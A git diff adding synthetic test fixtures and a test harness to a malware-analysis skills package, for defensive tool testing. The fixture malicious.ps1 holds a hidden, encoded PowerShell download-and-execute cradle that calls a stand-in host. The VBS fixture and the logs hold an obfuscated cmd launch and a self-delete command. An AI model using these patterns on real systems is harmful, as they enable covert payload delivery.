reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Extract fenced Sigma YAML blocks from a Markdown SKILL file to files.
|
||||
|
||||
A block counts as Sigma if it contains both 'detection:' and 'logsource:'.
|
||||
Placeholder rules (id: xxxxxxxx...) are skipped so `sigma check` only sees
|
||||
real, validatable content.
|
||||
|
||||
Usage: python3 extract_rules.py <SKILL.md> <out-prefix> # -> <prefix>1.yml, ...
|
||||
"""
|
||||
import re
|
||||
import sys
|
||||
|
||||
md, prefix = sys.argv[1], sys.argv[2]
|
||||
text = open(md, encoding="utf-8").read()
|
||||
blocks = re.findall(r"```ya?ml\n(.*?)```", text, re.S)
|
||||
n = 0
|
||||
for b in blocks:
|
||||
if "detection:" in b and "logsource:" in b:
|
||||
if not re.search(r"id:\s*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", b):
|
||||
continue # skip the structure-template block; keep only rules with a real UUID
|
||||
n += 1
|
||||
open(f"{prefix}{n}.yml", "w").write(b)
|
||||
print(f"extracted {n} sigma rule(s)")
|
||||
3
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/dns.txt
vendored
Normal file
3
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/dns.txt
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
Sep 5 10:00:02 10.0.0.15 update-cdn.example.test
|
||||
Sep 5 10:01:06 10.0.0.15 update-cdn.example.test
|
||||
Sep 5 10:00:10 10.0.0.15 clients2.google.com
|
||||
2
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/http.txt
vendored
Normal file
2
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/http.txt
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
Sep 5 10:00:02 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)
|
||||
Sep 5 10:01:06 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)
|
||||
17
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/procmon.csv
vendored
Normal file
17
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/procmon.csv
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
"Time of Day","Process Name","PID","Operation","Path","Result","Detail"
|
||||
"10:00:01.1","explorer.exe","1400","Process Create","C:\Users\Public\invoice_2024.exe","SUCCESS","PID: 4820, Command line: ""C:\Users\Public\invoice_2024.exe"" /install"
|
||||
"10:00:01.2","invoice_2024.exe","4820","Process Start","","SUCCESS","Parent PID: 1400, Command line: ""C:\Users\Public\invoice_2024.exe"" /install, Current directory: C:\Users\Public\"
|
||||
"10:00:01.3","invoice_2024.exe","4820","CreateFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Desired Access: Generic Write, Disposition: Create, OpenResult: Created"
|
||||
"10:00:01.4","invoice_2024.exe","4820","WriteFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Offset: 0, Length: 51200"
|
||||
"10:00:01.5","invoice_2024.exe","4820","RegCreateKey","HKCU\Software\Microsoft\Windows\CurrentVersion\Run","SUCCESS","Desired Access: All Access"
|
||||
"10:00:01.6","invoice_2024.exe","4820","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","SUCCESS","Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe"
|
||||
"10:00:02.0","invoice_2024.exe","4820","Load Image","C:\Users\Bob\AppData\Roaming\hlp.dll","SUCCESS","Image Base: 0x10000000, Image Size: 0x14000"
|
||||
"10:00:02.5","invoice_2024.exe","4820","TCP Connect","DESKTOP-TEST:49700 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
|
||||
"10:00:03.0","invoice_2024.exe","4820","Process Create","C:\Windows\System32\cmd.exe","SUCCESS","PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
|
||||
"10:00:03.1","cmd.exe","5102","Process Start","","SUCCESS","Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
|
||||
"10:00:03.2","cmd.exe","5102","Process Create","C:\Windows\System32\PING.EXE","SUCCESS","PID: 5140, Command line: ping -n 3 127.0.0.1"
|
||||
"10:00:06.0","cmd.exe","5102","SetDispositionInformationFile","C:\Users\Public\invoice_2024.exe","SUCCESS","Delete: True"
|
||||
"10:00:06.2","svc.exe","5300","Process Start","","SUCCESS","Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe"
|
||||
"10:00:06.5","svc.exe","5300","TCP Connect","DESKTOP-TEST:49712 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
|
||||
"10:00:10.0","chrome.exe","2100","WriteFile","C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1","SUCCESS","Offset: 0, Length: 4096"
|
||||
"10:00:11.0","svchost.exe","900","RegQueryValue","HKLM\System\CurrentControlSet\Services\Tcpip\Parameters","SUCCESS","Type: REG_DWORD"
|
||||
|
7
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/syn.txt
vendored
Normal file
7
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/syn.txt
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
1757066406.0 203.0.113.5 443
|
||||
1757066466.0 203.0.113.5 443
|
||||
1757066526.0 203.0.113.5 443
|
||||
1757066586.0 203.0.113.5 443
|
||||
1757066646.0 203.0.113.5 443
|
||||
1757066706.0 203.0.113.5 443
|
||||
1757066411.0 142.250.0.1 443
|
||||
87
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/sysmon.json
vendored
Normal file
87
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/sysmon.json
vendored
Normal file
@@ -0,0 +1,87 @@
|
||||
[
|
||||
{
|
||||
"Id": 1,
|
||||
"TimeCreated": "2026-09-05T10:00:01",
|
||||
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:01.100\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nCommandLine: \"C:\\Users\\Public\\invoice_2024.exe\" /install\nHashes: SHA256=AF747150F9AFC0937A6B62755F9BD84CFB88726370F6007AC03F8F7504D38C4D,IMPHASH=DFCAEBD44FF7676285215E9D856415F3\nParentProcessId: 1400\nParentImage: C:\\Windows\\explorer.exe\nParentCommandLine: C:\\Windows\\explorer.exe"
|
||||
},
|
||||
{
|
||||
"Id": 11,
|
||||
"TimeCreated": "2026-09-05T10:00:01",
|
||||
"Message": "File created:\nUtcTime: 2026-09-05 10:00:01.300\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetFilename: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
|
||||
},
|
||||
{
|
||||
"Id": 13,
|
||||
"TimeCreated": "2026-09-05T10:00:01",
|
||||
"Message": "Registry value set:\nEventType: SetValue\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetObject: HKU\\S-1-5-21-1\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinUpdate\nDetails: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
|
||||
},
|
||||
{
|
||||
"Id": 7,
|
||||
"TimeCreated": "2026-09-05T10:00:02",
|
||||
"Message": "Image loaded:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nImageLoaded: C:\\Users\\Bob\\AppData\\Roaming\\hlp.dll\nSigned: false\nSignature: "
|
||||
},
|
||||
{
|
||||
"Id": 8,
|
||||
"TimeCreated": "2026-09-05T10:00:02",
|
||||
"Message": "CreateRemoteThread detected:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetProcessId: 1400\nTargetImage: C:\\Windows\\explorer.exe\nStartAddress: 0x000002A4C0000000"
|
||||
},
|
||||
{
|
||||
"Id": 10,
|
||||
"TimeCreated": "2026-09-05T10:00:02",
|
||||
"Message": "Process accessed:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetImage: C:\\Windows\\explorer.exe\nGrantedAccess: 0x1F0FFF"
|
||||
},
|
||||
{
|
||||
"Id": 1,
|
||||
"TimeCreated": "2026-09-05T10:00:03",
|
||||
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:03.000\nProcessId: 5102\nImage: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c ping -n 3 127.0.0.1 & del \"C:\\Users\\Public\\invoice_2024.exe\"\nParentProcessId: 4820\nParentImage: C:\\Users\\Public\\invoice_2024.exe"
|
||||
},
|
||||
{
|
||||
"Id": 22,
|
||||
"TimeCreated": "2026-09-05T10:00:02",
|
||||
"Message": "DNS query:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nQueryName: update-cdn.example.test\nQueryResults: 203.0.113.5"
|
||||
},
|
||||
{
|
||||
"Id": 1,
|
||||
"TimeCreated": "2026-09-05T10:00:06",
|
||||
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:06.200\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nCommandLine: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nHashes: SHA256=1111111111111111111111111111111111111111111111111111111111111111\nParentProcessId: 700\nParentImage: C:\\Windows\\System32\\services.exe\nParentCommandLine: C:\\Windows\\System32\\services.exe"
|
||||
},
|
||||
{
|
||||
"Id": 17,
|
||||
"TimeCreated": "2026-09-05T10:00:02",
|
||||
"Message": "Pipe Created:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nPipeName: \\testfixture"
|
||||
},
|
||||
{
|
||||
"Id": 3,
|
||||
"TimeCreated": "2026-09-05T10:00:06",
|
||||
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:00:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
|
||||
},
|
||||
{
|
||||
"Id": 3,
|
||||
"TimeCreated": "2026-09-05T10:01:06",
|
||||
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:01:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
|
||||
},
|
||||
{
|
||||
"Id": 3,
|
||||
"TimeCreated": "2026-09-05T10:02:06",
|
||||
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:02:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
|
||||
},
|
||||
{
|
||||
"Id": 3,
|
||||
"TimeCreated": "2026-09-05T10:03:06",
|
||||
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:03:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
|
||||
},
|
||||
{
|
||||
"Id": 3,
|
||||
"TimeCreated": "2026-09-05T10:04:06",
|
||||
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:04:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
|
||||
},
|
||||
{
|
||||
"Id": 3,
|
||||
"TimeCreated": "2026-09-05T10:05:06",
|
||||
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:05:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
|
||||
},
|
||||
{
|
||||
"Id": 22,
|
||||
"TimeCreated": "2026-09-05T10:00:10",
|
||||
"Message": "DNS query:\nProcessId: 2100\nImage: C:\\Program Files\\Google\\Chrome\\chrome.exe\nQueryName: clients2.google.com\nQueryResults: 142.250.0.1"
|
||||
}
|
||||
]
|
||||
1
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/tls.txt
vendored
Normal file
1
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/tls.txt
vendored
Normal file
@@ -0,0 +1 @@
|
||||
Sep 5 10:00:02 203.0.113.5 443 update-cdn.example.test a0e9f5d64349fb13191bc781f81f42e1
|
||||
3
vendor-new/malware-analysis-claude-skills/tests/fixtures/scripts/malicious.ps1
vendored
Normal file
3
vendor-new/malware-analysis-claude-skills/tests/fixtures/scripts/malicious.ps1
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbgAuAGUAeABhAG0AcABsAGUALgB0AGUAcwB0AC8AcwB0AGEAZwBlADIALgBwAHMAMQAiACkA
|
||||
$u = "ht"+"tp://update-cdn.example.test/gate.php"
|
||||
$b = [System.Convert]::FromBase64String("VGVzdEZpeHR1cmU=")
|
||||
5
vendor-new/malware-analysis-claude-skills/tests/fixtures/scripts/malicious.vbs
vendored
Normal file
5
vendor-new/malware-analysis-claude-skills/tests/fixtures/scripts/malicious.vbs
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
Dim c, u, r
|
||||
c = Chr(99) & Chr(109) & Chr(100)
|
||||
u = Replace("hXXtXXtXXp://update-cdn.example.test/p.exe","XX","")
|
||||
r = StrReverse("exe.clac")
|
||||
CreateObject("WScript.Shell").Run c & " /c " & r
|
||||
15
vendor-new/malware-analysis-claude-skills/tests/fixtures/yara/fixture.yar
vendored
Normal file
15
vendor-new/malware-analysis-claude-skills/tests/fixtures/yara/fixture.yar
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
rule Test_Fixture_Invoice2024 {
|
||||
meta:
|
||||
description = "Detects the benign PE test fixture built by tests/make_pe.py"
|
||||
author = "malware-analysis-skills test harness"
|
||||
reference = "tests/make_pe.py"
|
||||
note = "Fixture only — not a real malware signature"
|
||||
strings:
|
||||
$mz = { 4D 5A }
|
||||
$c2 = "update-cdn.example.test/gate.php" ascii
|
||||
$ua = "TestUA/1.0" ascii
|
||||
$mtx = "Global\\TestFixtureMutex_9f2a" ascii
|
||||
$tag = "BENIGN TEST FIXTURE" ascii
|
||||
condition:
|
||||
$mz at 0 and 3 of ($c2, $ua, $mtx, $tag)
|
||||
}
|
||||
135
vendor-new/malware-analysis-claude-skills/tests/make_pe.py
Normal file
135
vendor-new/malware-analysis-claude-skills/tests/make_pe.py
Normal file
@@ -0,0 +1,135 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
make_pe.py - build a small, valid, benign PE32 test fixture. Stdlib only.
|
||||
|
||||
The binary imports a handful of Windows APIs that triage heuristics care
|
||||
about (injection, network, anti-debug, persistence) and embeds indicator
|
||||
strings, then simply calls ExitProcess(0). It is deterministic (fixed
|
||||
timestamp) so hashes are stable across runs.
|
||||
|
||||
Usage:
|
||||
python3 make_pe.py out/invoice_2024.exe
|
||||
"""
|
||||
|
||||
import struct
|
||||
import sys
|
||||
|
||||
IMAGE_BASE = 0x400000
|
||||
SEC_ALIGN, FILE_ALIGN = 0x1000, 0x200
|
||||
TIMESTAMP = 1704067200 # 2024-01-01T00:00:00Z
|
||||
|
||||
IMPORTS = {
|
||||
b"KERNEL32.dll": [b"ExitProcess", b"VirtualAllocEx", b"WriteProcessMemory", b"CreateRemoteThread",
|
||||
b"OpenProcess", b"IsDebuggerPresent", b"GetTempPathA", b"CreateProcessA"],
|
||||
b"WININET.dll": [b"InternetOpenA", b"InternetOpenUrlA", b"InternetReadFile"],
|
||||
b"ADVAPI32.dll": [b"RegCreateKeyExA", b"RegSetValueExA"],
|
||||
}
|
||||
|
||||
ASCII_STRINGS = [
|
||||
b"http://update-cdn.example.test/gate.php",
|
||||
b"Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)",
|
||||
b"Global\\TestFixtureMutex_9f2a",
|
||||
b"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
b"WinUpdate",
|
||||
b"C:\\Users\\Public\\svc.exe",
|
||||
b"203.0.113.5",
|
||||
b"D:\\build\\fixture\\Release\\invoice.pdb",
|
||||
b"BENIGN TEST FIXTURE - this program only calls ExitProcess(0)",
|
||||
]
|
||||
WIDE_STRINGS = ["cmd.exe /c ping -n 3 127.0.0.1 & del \"%s\"", "\\\\.\\pipe\\testfixture"]
|
||||
|
||||
|
||||
def align(n, a):
|
||||
return (n + a - 1) // a * a
|
||||
|
||||
|
||||
def build_rdata(rdata_rva):
|
||||
"""Return (bytes, iat_rva_of_ExitProcess, import_dir_rva, import_dir_size)."""
|
||||
buf = bytearray()
|
||||
n_dlls = len(IMPORTS)
|
||||
idt_size = 20 * (n_dlls + 1)
|
||||
buf += b"\0" * idt_size # import directory table, patched later
|
||||
thunks = {} # dll -> (ilt_off, iat_off)
|
||||
for dll, funcs in IMPORTS.items():
|
||||
ilt_off = len(buf); buf += b"\0" * (4 * (len(funcs) + 1))
|
||||
iat_off = len(buf); buf += b"\0" * (4 * (len(funcs) + 1))
|
||||
thunks[dll] = (ilt_off, iat_off)
|
||||
name_offs = {}
|
||||
for dll, funcs in IMPORTS.items():
|
||||
for i, f in enumerate(funcs):
|
||||
if len(buf) % 2: buf += b"\0"
|
||||
name_offs[(dll, f)] = len(buf)
|
||||
buf += struct.pack("<H", 0) + f + b"\0"
|
||||
dll_offs = {}
|
||||
for dll in IMPORTS:
|
||||
dll_offs[dll] = len(buf); buf += dll + b"\0"
|
||||
# patch thunks and IDT
|
||||
exit_iat = None
|
||||
for idx, (dll, funcs) in enumerate(IMPORTS.items()):
|
||||
ilt_off, iat_off = thunks[dll]
|
||||
for i, f in enumerate(funcs):
|
||||
rva = rdata_rva + name_offs[(dll, f)]
|
||||
struct.pack_into("<I", buf, ilt_off + 4 * i, rva)
|
||||
struct.pack_into("<I", buf, iat_off + 4 * i, rva)
|
||||
if f == b"ExitProcess":
|
||||
exit_iat = rdata_rva + iat_off + 4 * i
|
||||
struct.pack_into("<IIIII", buf, 20 * idx, rdata_rva + ilt_off, 0, 0, rdata_rva + dll_offs[dll], rdata_rva + iat_off)
|
||||
# strings
|
||||
buf += b"\0" * 16
|
||||
for s in ASCII_STRINGS:
|
||||
buf += s + b"\0"
|
||||
buf += b"\0" * 4
|
||||
for s in WIDE_STRINGS:
|
||||
buf += s.encode("utf-16le") + b"\0\0"
|
||||
return bytes(buf), exit_iat, rdata_rva, idt_size
|
||||
|
||||
|
||||
def build():
|
||||
text_rva, rdata_rva, data_rva = 0x1000, 0x2000, 0x3000
|
||||
rdata, exit_iat, idir_rva, idir_size = build_rdata(rdata_rva)
|
||||
# push 0 ; call [ExitProcess] ; int3 padding
|
||||
text = b"\x6a\x00\xff\x15" + struct.pack("<I", IMAGE_BASE + exit_iat) + b"\xcc" * 8
|
||||
data = b"\0" * 0x40 + b"config-placeholder\0"
|
||||
|
||||
secs = [(b".text", text_rva, text, 0x60000020), (b".rdata", rdata_rva, rdata, 0x40000040), (b".data", data_rva, data, 0xC0000040)]
|
||||
hdr_size = 0x400
|
||||
raw_ptr = hdr_size
|
||||
sec_hdrs, body = b"", b""
|
||||
for name, rva, content, flags in secs:
|
||||
raw_size = align(len(content), FILE_ALIGN)
|
||||
sec_hdrs += struct.pack("<8sIIIIIIHHI", name.ljust(8, b"\0"), len(content), rva, raw_size, raw_ptr, 0, 0, 0, 0, flags)
|
||||
body += content.ljust(raw_size, b"\0")
|
||||
raw_ptr += raw_size
|
||||
size_of_image = align(data_rva + len(data), SEC_ALIGN)
|
||||
|
||||
dos = bytearray(b"MZ" + b"\0" * 62)
|
||||
struct.pack_into("<I", dos, 0x3C, 0x80)
|
||||
stub = b"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21This program cannot be run in DOS mode.\r\r\n$"
|
||||
dos = bytes(dos) + stub.ljust(0x80 - 64, b"\0")
|
||||
|
||||
coff = b"PE\0\0" + struct.pack("<HHIIIHH", 0x14C, len(secs), TIMESTAMP, 0, 0, 0xE0, 0x0102)
|
||||
opt = struct.pack("<HBBIIIIIIIIIHHHHHHIIIIHHIIIIII",
|
||||
0x10B, 14, 0, align(len(text), FILE_ALIGN), align(len(rdata) + len(data), FILE_ALIGN), 0,
|
||||
text_rva, text_rva, rdata_rva, IMAGE_BASE, SEC_ALIGN, FILE_ALIGN,
|
||||
6, 0, 1, 0, 6, 0, 0, size_of_image, hdr_size, 0, 3, 0x8140,
|
||||
0x100000, 0x1000, 0x100000, 0x1000, 0, 16)
|
||||
dirs = [(0, 0)] * 16
|
||||
dirs[1] = (idir_rva, idir_size)
|
||||
dirs[12] = (rdata_rva + 20 * (len(IMPORTS) + 1) + 4 * (len(IMPORTS[b"KERNEL32.dll"]) + 1), 4 * (len(IMPORTS[b"KERNEL32.dll"]) + 1)) # IAT (first dll) - informational
|
||||
opt += b"".join(struct.pack("<II", *d) for d in dirs)
|
||||
headers = (dos + coff + opt + sec_hdrs).ljust(hdr_size, b"\0")
|
||||
overlay = b"OVERLAY-TEST-DATA:" + bytes(range(256)) * 2
|
||||
return headers + body + overlay
|
||||
|
||||
|
||||
def main():
|
||||
out = sys.argv[1] if len(sys.argv) > 1 else "invoice_2024.exe"
|
||||
data = build()
|
||||
assert data[:2] == b"MZ" and data[0x80:0x84] == b"PE\0\0"
|
||||
with open(out, "wb") as f:
|
||||
f.write(data)
|
||||
print(f"wrote {out} ({len(data)} bytes)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
145
vendor-new/malware-analysis-claude-skills/tests/run.sh
Normal file
145
vendor-new/malware-analysis-claude-skills/tests/run.sh
Normal file
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/env bash
|
||||
# End-to-end test harness for the malware-analysis skills package.
|
||||
#
|
||||
# Proves the host-side tooling works on realistic fixtures: the Python
|
||||
# scripts every skill depends on, plus the detection rules the skills
|
||||
# ship as examples. No malware is involved — fixtures are synthetic
|
||||
# (tests/make_pe.py builds a benign PE that only calls ExitProcess).
|
||||
#
|
||||
# Usage: bash tests/run.sh
|
||||
# Exit 0 = all required checks pass. Optional tool checks (pefile, yara,
|
||||
# sigma, olevba) are skipped with a note when the tool is absent, so the
|
||||
# harness runs on a bare box and does more when deps are installed.
|
||||
|
||||
set -u
|
||||
cd "$(dirname "$0")/.."
|
||||
ROOT=$(pwd)
|
||||
PY=python3
|
||||
[ -x .venv/bin/python ] && PY=.venv/bin/python
|
||||
mkdir -p tests/out
|
||||
|
||||
pass=0; fail=0; skip=0
|
||||
ok() { echo " ok $1"; pass=$((pass+1)); }
|
||||
bad() { echo " FAIL $1"; fail=$((fail+1)); }
|
||||
skipm(){ echo " skip $1"; skip=$((skip+1)); }
|
||||
have() { command -v "$1" >/dev/null 2>&1; }
|
||||
pyhas(){ $PY -c "import $1" >/dev/null 2>&1; }
|
||||
# assert: <label> <needle> <<< "$output"
|
||||
assert(){ if grep -qF -- "$2" <<<"$3"; then ok "$1"; else bad "$1 (missing: $2)"; fi; }
|
||||
refute(){ if grep -qF -- "$2" <<<"$3"; then bad "$1 (unexpected: $2)"; else ok "$1"; fi; }
|
||||
|
||||
echo "== 1. script self-tests"
|
||||
for s in scripts/ioc_extract.py malware-dynamic-analysis/scripts/procmon_summary.py malware-dynamic-analysis/scripts/sysmon_summary.py; do
|
||||
if $PY "$s" --self-test >/dev/null 2>&1; then ok "$s"; else bad "$s"; fi
|
||||
done
|
||||
|
||||
echo "== 2. PE triage (pe_info.py on synthetic PE)"
|
||||
$PY tests/make_pe.py tests/out/invoice_2024.exe >/dev/null
|
||||
[ -f tests/out/invoice_2024.exe ] && ok "PE fixture built" || bad "PE fixture build"
|
||||
if pyhas pefile; then
|
||||
o=$($PY malware-triage/scripts/pe_info.py tests/out/invoice_2024.exe)
|
||||
assert "detects .NET=no" ".NET: no" "$o"
|
||||
assert "categorizes injection" "injection: CreateRemoteThread" "$o"
|
||||
assert "categorizes network" "network: InternetOpenA" "$o"
|
||||
assert "categorizes persistence" "persistence: RegCreateKeyExA" "$o"
|
||||
assert "stable imphash" "dfcaebd44ff7676285215e9d856415f3" "$o"
|
||||
assert "finds overlay" "Overlay size: 530 bytes" "$o"
|
||||
# deterministic hash
|
||||
h=$($PY malware-triage/scripts/hash_calculator.py tests/out/invoice_2024.exe | grep -i sha256)
|
||||
assert "hash_calculator SHA256" "af747150f9afc0937a6b62755f9bd84cfb88726370f6007ac03f8f7504d38c4d" "$h"
|
||||
else
|
||||
skipm "pe_info.py (pip install pefile)"
|
||||
fi
|
||||
|
||||
echo "== 3. Procmon evidence parsing"
|
||||
o=$($PY malware-dynamic-analysis/scripts/procmon_summary.py tests/fixtures/evidence/procmon.csv --process invoice_2024.exe)
|
||||
assert "process tree nests cmd" " cmd.exe (PID 5102)" "$o"
|
||||
assert "grandchild named" "PING.EXE (PID 5140)" "$o"
|
||||
assert "dropped file" "svc.exe" "$o"
|
||||
assert "persistence flagged" "PERSISTENCE" "$o"
|
||||
assert "self-deletion" "Files deleted (1)" "$o"
|
||||
refute "no unrelated process" "chrome.exe:2100" "$o"
|
||||
|
||||
echo "== 4. Sysmon evidence parsing"
|
||||
o=$($PY malware-dynamic-analysis/scripts/sysmon_summary.py tests/fixtures/evidence/sysmon.json --process invoice_2024.exe,svc.exe)
|
||||
assert "injection remote thread" "-> C:\\Windows\\explorer.exe" "$o"
|
||||
assert "high-rights access" "0x1F0FFF" "$o"
|
||||
assert "run key persistence" "PERSISTENCE" "$o"
|
||||
assert "beacon detected" "BEACON-LIKE" "$o"
|
||||
assert "named pipe IOC" "\\testfixture" "$o"
|
||||
assert "unsigned dll load" "hlp.dll signed=false" "$o"
|
||||
|
||||
echo "== 5. IOC extraction + defang"
|
||||
o=$(cat tests/fixtures/evidence/*.txt tests/fixtures/evidence/procmon.csv | $PY scripts/ioc_extract.py)
|
||||
assert "C2 IP defanged" "203[.]0[.]113[.]5" "$o"
|
||||
assert "C2 domain defanged" "update-cdn[.]example[.]test" "$o"
|
||||
refute "no live C2 dot" "203.0.113.5" "$o"
|
||||
o2=$(echo "hxxps://update-cdn[.]example[.]test/gate[.]php" | $PY scripts/ioc_extract.py --refang)
|
||||
assert "refang restores URL" "update-cdn.example.test" "$o2"
|
||||
|
||||
echo "== 6. Script deobfuscation (host-side decoders from the skill)"
|
||||
o=$($PY - tests/fixtures/scripts/malicious.ps1 <<'EOF'
|
||||
import base64, re, sys
|
||||
src = open(sys.argv[1], encoding="utf-8", errors="replace").read()
|
||||
for m in re.finditer(r"[A-Za-z0-9+/]{40,}={0,2}", src):
|
||||
raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4))
|
||||
for enc in ("utf-16le", "utf-8"):
|
||||
try:
|
||||
print(raw.decode(enc)); break
|
||||
except UnicodeDecodeError:
|
||||
continue
|
||||
EOF
|
||||
)
|
||||
assert "PowerShell base64 decoded" "DownloadString" "$o"
|
||||
o=$($PY - tests/fixtures/scripts/malicious.vbs <<'EOF'
|
||||
import re, sys
|
||||
c = open(sys.argv[1], encoding="utf-8", errors="replace").read()
|
||||
c = re.sub(r"Chr[Ww]?\((\d+)\)", lambda m: '"' + chr(int(m.group(1))) + '"', c)
|
||||
c = re.sub(r'"\s*&\s*"', "", c)
|
||||
c = re.sub(r'StrReverse\("([^"]*)"\)', lambda m: '"' + m.group(1)[::-1] + '"', c)
|
||||
for m in re.finditer(r'Replace\("([^"]*)",\s*"([^"]*)",\s*"([^"]*)"\)', c):
|
||||
c = c.replace(m.group(0), '"' + m.group(1).replace(m.group(2), m.group(3)) + '"')
|
||||
print(c)
|
||||
EOF
|
||||
)
|
||||
assert "VBS Chr() resolved" '"cmd"' "$o"
|
||||
assert "VBS StrReverse resolved" "calc.exe" "$o"
|
||||
|
||||
echo "== 7. Detection rules validate (optional)"
|
||||
if have sigma || [ -x .venv/bin/sigma ]; then
|
||||
SIGMA=sigma; [ -x .venv/bin/sigma ] && SIGMA=.venv/bin/sigma
|
||||
n=0
|
||||
rm -f tests/out/sigma_*.yml
|
||||
$PY tests/extract_rules.py detection-engineer/SKILL.md tests/out/sigma_
|
||||
for f in tests/out/sigma_*.yml; do
|
||||
[ -f "$f" ] || continue
|
||||
if $SIGMA check "$f" >/dev/null 2>&1; then ok "sigma check $(basename "$f")"; else bad "sigma check $(basename "$f")"; fi
|
||||
n=$((n+1))
|
||||
done
|
||||
[ "$n" -gt 0 ] || skipm "no sigma rules extracted"
|
||||
else
|
||||
skipm "sigma check (pip install sigma-cli)"
|
||||
fi
|
||||
|
||||
